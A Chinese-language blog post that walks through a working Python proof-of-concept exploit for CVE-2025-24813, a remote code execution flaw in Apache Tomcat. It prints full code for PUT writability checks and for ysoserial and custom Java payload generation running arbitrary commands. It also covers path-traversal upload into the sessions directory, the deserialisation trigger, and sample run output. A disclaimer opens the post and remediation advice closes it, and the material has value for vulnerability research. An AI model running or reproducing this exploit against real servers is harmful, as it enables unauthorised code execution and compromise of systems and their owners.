本文仅供合法授权的安全研究与学习使用,请勿用于非法用途。读者应确保行为符合当地法律法规。
前言
Apache Tomcat作为全球使用最广泛的Java Web服务器之一,其安全性备受关注。CVE-2025-24813是一个利用Tomcat PUT方法和会话反序列化机制的RCE漏洞。攻击者通过PUT请求将恶意序列化数据上传到会话文件目录,当Tomcat在处理会话时反序列化该文件,便会触发恶意代码执行。
本文基于一个功能完整的POC工具,详细分析从写入检测到Payload生成、上传和触发的完整利用过程。
漏洞背景
| 属性 |
详情 |
| CVE编号 |
CVE-2025-24813 |
| 漏洞类型 |
远程代码执行(RCE) |
| CVSS评分 |
8.1(High) |
| 影响组件 |
Apache Tomcat |
| 漏洞根因 |
PUT方法写入 + 会话文件反序列化 |
该漏洞的利用需要满足以下条件:
- Tomcat启用了PUT方法(
readonly=false)
- 服务器存在可写的会话文件目录(
/uploads/../sessions/)
- 攻击者能获取或预测有效的Session ID
- 服务器classpath中存在可利用的反序列化Gadget链
漏洞的核心原理是:Tomcat的DefaultServlet在readonly=false配置下允许PUT请求写入文件。攻击者利用路径穿越/uploads/../sessions/将恶意序列化数据写入会话目录,当Tomcat尝试加载该会话时,会反序列化文件内容,触发Gadget链执行任意命令。
环境搭建
- 靶机环境:Apache Tomcat(配置
readonly=false),classpath中包含Commons Collections等可利用库
- 攻击环境:Python 3.x + requests库 + Java环境 + ysoserial.jar
- 依赖工具:ysoserial(用于生成反序列化Payload)
POC/EXP实现思路
POC工具采用分阶段攻击架构,包含以下步骤:
- 获取Session ID:访问目标页面获取或使用默认会话ID
- 检测PUT可写性:发送测试文件验证服务器是否允许PUT写入
- 生成Payload:使用ysoserial或自定义Java类生成序列化攻击载荷
- 上传Payload:通过PUT请求将Payload写入会话文件目录
- 触发反序列化:发送GET请求携带Session Cookie,触发Tomcat加载并反序列化恶意会话文件
核心代码解析
Session ID获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| def get_session_id(target_url, verify_ssl=True): """ 尝试访问目标URL以获取会话ID。 """ try: response = requests.get(f"{target_url}/index.jsp", timeout=10, verify=verify_ssl) if "JSESSIONID" in response.cookies: return response.cookies["JSESSIONID"] session_id = re.search(r"Session ID: (\w+)", response.text) if session_id: return session_id.group(1) else: print(f"[-] 在响应中未找到 Session ID。使用默认 Session ID: absholi7ly") return "absholi7ly" except requests.RequestException as e: print(f"[-] 获取 Session ID 时出错: {str(e)}") sys.exit(1)
|
get_session_id函数尝试三种方式获取Session ID:从响应Cookie中提取、从页面内容中正则匹配、使用默认值absholi7ly。默认Session ID的设计是为了测试场景中快速使用,实际利用时需要根据目标环境调整。
PUT可写性检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| def check_writable_servlet(target_url, host, port, verify_ssl=True): """ 检查目标URL是否可以通过PUT方法写入。 """ check_file = f"{target_url}/check.txt" try: response = requests.put( check_file, headers={ "Host": f"{host}:{port}", "Content-Length": "10000", "Content-Range": "bytes 0-1000/1200" }, data="testdata", timeout=10, verify=verify_ssl ) if response.status_code in [200, 201]: print(f"[+] 服务器可通过PUT写入: {check_file}") return True else: print(f"[-] 服务器不可写 (HTTP {response.status_code})") return False except requests.RequestException as e: print(f"[-] 检查过程中出错: {str(e)}") return False
|
检测函数向目标发送一个PUT请求,尝试写入check.txt文件。请求头中的Content-Range字段是关键——它让Tomcat认为这是一个分块上传请求,从而绕过部分安全限制。HTTP 200/201状态码表示写入成功。
ysoserial Payload生成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file): """ 使用ysoserial生成指定命令的序列化payload。 """ if not os.path.exists(ysoserial_path): print(f"[-] 错误: {ysoserial_path} 未找到。") sys.exit(1) try: print(f"[*] 正在为命令生成 ysoserial payload: {command}") cmd = ["java", "-jar", ysoserial_path, gadget, f"cmd.exe /c {command}"] with open(payload_file, "wb") as f: subprocess.run(cmd, stdout=f, check=True) print(f"[+] Payload 生成成功: {payload_file}") return payload_file except (subprocess.CalledProcessError, FileNotFoundError) as e: print(f"[-] 生成 payload 时出错: {str(e)}") sys.exit(1)
|
该函数调用ysoserial.jar生成序列化Payload。默认使用CommonsCollections6 Gadget链,该链兼容性较好,在大多数包含Commons Collections库的环境中都能成功触发。命令通过cmd.exe /c执行,适用于Windows环境。
自定义Java Payload生成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| def generate_java_payload(command, payload_file): """ 生成Java类形式的payload。 """ payload_java = f""" import java.io.IOException; import java.io.PrintWriter;
public class Exploit {{ static {{ try {{ String cmd = "{command}"; java.io.BufferedReader reader = new java.io.BufferedReader( new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); String line; StringBuilder output = new StringBuilder(); while ((line = reader.readLine()) != null) {{ output.append(line).append("\\n"); }} PrintWriter out = new PrintWriter(System.out); out.println(output.toString()); out.flush(); }} catch (IOException e) {{ e.printStackTrace(); }} }} }} """ with open("Exploit.java", "w") as f: f.write(payload_java) subprocess.run(["javac", "Exploit.java"], check=True) subprocess.run(["jar", "cfe", payload_file, "Exploit", "Exploit.class"], check=True) remove_file("Exploit.java") remove_file("Exploit.class")
|
除了ysoserial,POC还支持自定义Java Payload。这种方式不依赖特定Gadget链,而是在static静态代码块中直接调用Runtime.exec()执行命令。生成后打包为JAR文件,利用Java类加载机制触发静态块执行。
Payload上传与触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| def upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl=True): """ 上传payload并验证执行结果。 """ exploit_url = f"{target_url}/uploads/../sessions/{session_id}.session" try: with open(payload_file, "rb") as f: put_response = requests.put( exploit_url, headers={ "Host": f"{host}:{port}", "Content-Length": "10000", "Content-Range": "bytes 0-1000/1200" }, data=f.read(), timeout=10, verify=verify_ssl ) if put_response.status_code == 409: print(f"[+] Payload 上传成功,状态码 409 (冲突): {exploit_url}") get_response = requests.get( target_url, headers={"Cookie": "JSESSIONID=absholi7ly"}, timeout=10, verify=verify_ssl ) if get_response.status_code == 500: print(f"[+] 利用成功!反序列化后服务器返回了 500 状态码。") return True
|
这是整个利用链的关键环节。PUT请求将序列化Payload写入/uploads/../sessions/{session_id}.session路径——利用路径穿越从uploads目录跳转到sessions目录。HTTP 409状态码(Conflict)表示目标位置已存在文件,这实际上意味着写入操作已完成。
随后,GET请求携带对应的JSESSIONID Cookie访问目标,Tomcat会尝试加载该会话文件并反序列化内容。如果服务器返回500错误,说明反序列化过程中触发了代码执行(执行过程中产生的异常导致500响应)。
主检测流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| def check_target(target_url, command, ysoserial_path, gadget, payload_type, verify_ssl=True): host = target_url.split("://")[1].split(":")[0] if "://" in target_url else target_url.split(":")[0] port = target_url.split(":")[-1] if ":" in target_url.split("://")[-1] else "80"
session_id = get_session_id(target_url, verify_ssl) print(f"[*] 会话ID: {session_id}")
if check_writable_servlet(target_url, host, port, verify_ssl): payload_file = "payload.ser" if payload_type == "ysoserial": generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file) elif payload_type == "java": generate_java_payload(command, payload_file)
if upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl): print(f"[+] 目标 {target_url} 存在 CVE-2025-24813 漏洞!")
remove_file(payload_file)
|
主函数按顺序执行完整的利用流程,并在完成后清理临时Payload文件,避免留下痕迹。
漏洞验证与利用效果
1
| python CVE_2025_24813.py http://target:8081 --command calc.exe --payload_type ysoserial
|
成功输出:
1 2 3 4 5 6 7 8
| [*] 会话ID: absholi7ly [+] 服务器可通过PUT写入: http://target:8081/check.txt [*] 正在为命令生成 ysoserial payload: calc.exe [+] Payload 生成成功: payload.ser [+] Payload 上传成功,状态码 409 (冲突) [+] 利用成功!反序列化后服务器返回了 500 状态码。 [+] 目标 http://target:8081 存在 CVE-2025-24813 漏洞! [+] Temporary file removed: payload.ser
|
修复建议
- 禁用PUT方法:确保
DefaultServlet的readonly参数设为true(默认值)
- 限制会话目录访问:配置Web服务器禁止直接访问
/sessions/目录
- 反序列化过滤:部署Java反序列化过滤器(Serialization Filter),限制可反序列化的类
- 移除危险Gadget链:从classpath中移除不必要的Commons Collections等库
- WAF规则:拦截包含
/uploads/../sessions/路径穿越的请求
总结
CVE-2025-24813展示了PUT方法滥用与反序列化漏洞组合攻击的威力。整个利用链从PUT写入检测到Payload生成、路径穿越上传、最终反序列化触发,每一步都精巧设计。这个POC工具支持ysoserial和自定义Java两种Payload生成方式,提供了灵活的利用选项。从防御角度,禁用PUT方法、限制会话目录访问和部署反序列化过滤器是三项关键防护措施。